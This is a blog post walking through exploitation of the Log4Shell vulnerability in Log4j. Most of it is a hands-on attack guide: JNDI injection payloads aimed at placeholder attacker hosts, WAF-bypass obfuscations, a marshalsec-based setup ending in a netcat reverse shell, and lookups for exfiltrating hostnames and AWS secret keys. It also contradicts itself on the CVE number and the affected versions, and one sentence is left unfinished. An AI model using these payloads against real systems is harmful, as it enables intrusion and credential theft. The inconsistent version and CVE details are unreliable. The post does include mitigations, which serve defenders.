Exploiting Log4Shell or Log4j (CVE 2021-44229)

May 24, 2023

In December 2021, a critical vulnerability known as CVE 2021-44228 was discovered in the popular logging tool Log4j. This vulnerability allowed attackers to execute remote code on servers and gain unauthorized access to sensitive data. The vulnerability quickly gained widespread attention due to the severity of the threat it posed to organizations worldwide. In this blog, we will talk about 

CVE Details

CVE-2021-44228, also known as Log4Shell or Log4j exploit, is a critical vulnerability in Apache Log4j, a popular logging utility used in many Java-based applications and servers. 

The Log4Shell vulnerability affects Log4j versions 2.0 to 2.14.1, as well as some older versions. Many applications and systems use Log4j for logging, including web servers, application servers, and other types of servers. As a result, the potential impact of the vulnerability is significant, and the vulnerability was quickly identified as a high-risk threat to organizations worldwide.

The vulnerability arises from the way Log4j handles JNDI (Java Naming and Directory Interface) lookups. JNDI is a feature of Java that allows Java applications to access and use naming and directory services. In Log4j, JNDI is used to load configuration files from external sources, including URLs.

The Log4j vulnerability allows an attacker to inject malicious code into the log file by crafting a specially designed message that contains a JNDI lookup with a malicious URL. When Log4j processes the message, it will follow the URL and execute the malicious code contained in it. This can allow the attacker to gain remote access to a server, execute arbitrary code with high privileges, and potentially steal sensitive data or carry out other forms of cyber attack.

Affected Log4j versions

The following versions of Log4j are affected by CVE-2021-44228:

  • From Log4j 2.0 (alpha) - till Log4j 2.17

It's worth noting that Log4j 1.x is not affected by this vulnerability, but it's recommended to upgrade to a newer version of Log4j to ensure security and stability.

Cause of this vulnerability:

The main cause of the vulnerable Log4j (CVE 2021-44228) is a flaw in the way Log4j handles JNDI (Java Naming and Directory Interface) lookups. The vulnerability arises from the way Log4j handles JNDI (Java Naming and Directory Interface) lookups. JNDI is a feature of Java that allows Java applications to access and use naming and directory services. In Log4j, JNDI is used to load configuration files from external sources, including URLs.

This vulnerability allows an attacker to inject malicious code into the log file, which is then executed by Log4j. As a result, an attacker can gain remote access to a server and execute arbitrary code with high privileges, potentially leading to the theft of sensitive data or other forms of cyber attack. 

Understanding Log4j Architecture

Log4j is a logging library for Java apps that offers a configurable framework for generating log messages. It uses a hierarchical architecture to organize and control the flow of log messages, with the Logger class at its core. Loggers are organized hierarchically in a tree structure, and each logger represents a specific category of log messages. The LogManager is responsible for managing the logging environment, creating and configuring loggers and other components. Log messages are processed based on the Logger's configuration and can be filtered and directed to one or more Appenders for outputting to a destination. The Log4j architecture also includes Layouts for controlling the message format and Filters for selective inclusion or exclusion of log messages. It's a powerful and widely used framework for generating and managing log messages in Java applications.

Reference : https://logging.apache.org/log4j/2.x/manual/architecture.html 

VulnerableCode Example

Here is an example of vulnerable code in Log4j that could trigger the CVE-2021-44228 vulnerability:


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Example {
    private static final Logger logger = LogManager.getLogger(Example.class);

    public static void main(String[] args) {
        String user_input = args[0];
        logger.info("User input: " + user_input);
    }
}

In this example, the application is using the LogManager.getLogger() method to obtain a Logger instance, which is then used to log the user input provided as a command-line argument. However, if the user input contains a specially crafted string that includes a Log4j expression, such as ${{...}}, the application could be vulnerable to the Log4j vulnerability. This is because Log4j would try to evaluate the expression, which could result in remote code execution. To fix this vulnerability, the application should be updated to use a version of Log4j that includes the patch for CVE-2021-44228, or to use a different logging framework that is not affected by the vulnerability.

Exploitation

To identify the vulnerable parameter in the web application susceptible to the Log4J vulnerability, a systematic approach can be followed. By injecting a JNDI payload into each parameter, we can determine if any parameter triggers the vulnerable logging mechanism. It is important to note that some parameters may be protected by firewalls or other security measures, requiring the use of appropriate bypass techniques. Ensuring thorough testing and employing advanced bypass strategies can help in accurately identifying the Log4J vulnerability in the application.

Location to inject JNDI syntax:

  • Input boxes, user and password login forms, data entry points within applications.
  • HTTP headers such as User-Agent, X-Forwarded-For, or other customizable headers
  • Any place for user-supplied data

JNDI Payload Syntax:


${jndi:ldap://ATTACKERCONTROLLEDHOST}

Bypasses


${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Verification

To identify the Log4J vulnerability, we can leverage tools such as Collaborator or Interactsh. These tools allow us to monitor the interactions and responses generated by the Log4J exploitation attempts. By injecting payloads and monitoring the generated traffic, we can determine if the target system is vulnerable to Log4J.


${jndi:ldap://ATTACKERCONTROLLEDHOST}

During the pentest, our team discovered an unauthenticated Solr admin interface. Further research revealed that the solr/admin/cores endpoint might potentially be vulnerable to the Log4J attack. To verify this vulnerability, we enabled an interactsh client subdomain and injected a JNDI syntax payload, confirming that the parameter is indeed vulnerable to Log4j.

CleanShot 2023-05-16 at 10.55.38.png

Time to Get RCE

To gain remote code execution from a Log4J vulnerability, we need the following components:

  1. Vulnerable Endpoint: Identify a specific endpoint within the target system that is vulnerable to Log4J. This can be the Solr admin interface or any other application component that utilizes Log4J.
  2. LDAP Referral Server: Set up a JNDI server redirector that can handle JNDI lookups and redirect them to a controlled server. This redirector will be responsible for executing the desired payload.
  3. HTTP Server to Host Payload: Host the payload (such as a malicious JAR file) on an HTTP server. This payload will be used to exploit the Log4J vulnerability and achieve RCE on the target system.
  4. Listener for Incoming Connections: Set up a listener that can capture incoming connections from the target system. This will allow you to receive the connection initiated by the Log4J exploit and interact with the compromised system.

Now that we have acquired a comprehensive understanding of the necessary components and the underlying process, it is time to proceed with the exploitation phase to achieve remote code execution with below steps:

  1. Set up the LDAP Referral Server:
  • Clone the marshalsec utility from GitHub: git clone https://github.com/mbechler/marshalsec
  • Navigate to the marshalsec directory: cd marshalsec
  • Build the project (skipping tests): mvn clean package -DskipTests
  • If Maven is not installed, install it using your package manager. For example, on Ubuntu, you can use: sudo apt install maven
  • Start the LDAP Referral Server with the desired payload: java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit"
  • Adjust the IP address and port as needed. This server will handle JNDI lookups and redirect them to the provided HTTP URL.
  1. Create the Payload:
  • Open another terminal window and navigate to the marshalsec folder.
  • Edit the Exploit.java file with a text editor and replace the command inside the exec call with your desired payload. For example, running a reverse shell command using netcat: nc -e /bin/bash ATTACKER.IP.ADDRESS 9999
  • Save the file and compile the payload: javac Exploit.java -source 8 -target 8
  1. Start the HTTP Server:
  • In the same terminal window, start an HTTP server to host the payload. For example, using Python 3: python3 -m http.server
  • This will start the server on the default port 8000.
  1. Set up the Netcat Listener:
  • Open another terminal window and start a netcat listener to catch the incoming shell: nc -lvp 9999
  1. Exploit the Vulnerable Endpoint:
  • With everything set up, you can send the JNDI syntax to the vulnerable endpoint, replacing YOUR.ATTACKER.IP.ADDRESS with your actual IP address: ${jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit}
  • If the exploit is successful, the LDAP Referral Server will redirect the JNDI lookup to your provided HTTP URL, triggering the execution of the payload.
  • If everything is configured correctly, you should receive a shell on your netcat listener.
ezgif.com-video-to-gif.gif
Figure: RCE


In cases where network firewalls impose restrictions on obtaining a reverse shell, it is important to adapt and employ alternative techniques to successfully extract and exfiltrate sensitive information.

We can leverage the flexibility of variable substitution to exfiltrate data, such as the HostName variable. By constructing an LDAP URL with the Burp Collaborator server, we can attempt to extract information discreetly.

An example expression would be:


${jndi:ldap://${HostName}.BURPCOLLABORATOR}

In this scenario, the HostName variable will be replaced with the actual hostname or IP address of the target system. By embedding this expression within the appropriate context, we can exfiltrate data using the Burp Collaborator server, facilitating the covert transmission of sensitive information.

CleanShot 2023-05-16 at 15.10.04@2x.png


Figure: Hostname extract

Other information we can try to leak:


${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Automation

JNDI-Exploit-Kit

A time-saving solution that eliminates the need for setting up a LDAP Referal server, crafting payloads, and managing an HTTPServer. The JNDI-Exploit-Kit is a robust tool designed to automate the exploitation of the Log4j vulnerability. It seamlessly integrates the YSOSerial payload and provides dynamic command execution capabilities, streamlining the entire Log4j exploitation process. With its user-friendly interface and comprehensive documentation, the JNDI-Exploit-Kit empowers security professionals and penetration testers to generate customized payloads and automate their exploitation efforts. Discover the power of the JNDI-Exploit-Kit by visiting its GitHub repository at https://github.com/pimps/JNDI-Exploit-Kit.

Mitigation

Here are the mitigations for log4j CVE-2021-44228:

  • Upgrade to Log4j 2.17.0 or higher.
  • If you cannot upgrade to Log4j 2.17.0, you can set the following property:

Code snippet


log4j2.formatMsgNoLookups=true

  • You can also remove the JndiLookup class from the log4j-core on the filesystem.

It is important to note that these mitigations are not perfect and may not protect you from all attacks. It is still important to be vigilant and monitor your systems for any signs of compromise.

Here are some additional tips for mitigating the Log4j vulnerability:

  • Use a web application firewall (WAF) to block known exploit attempts.
  • Monitor your logs for suspicious activity.
  • Keep your software up to date.
  • Use a security information and event management (SIEM) system to detect and investigate suspicious activity.

By following these tips, you can help to protect your systems from the Log4j vulnerability.

Reference 

We express our gratitude to the following sources that aided us in learning and composing this blog.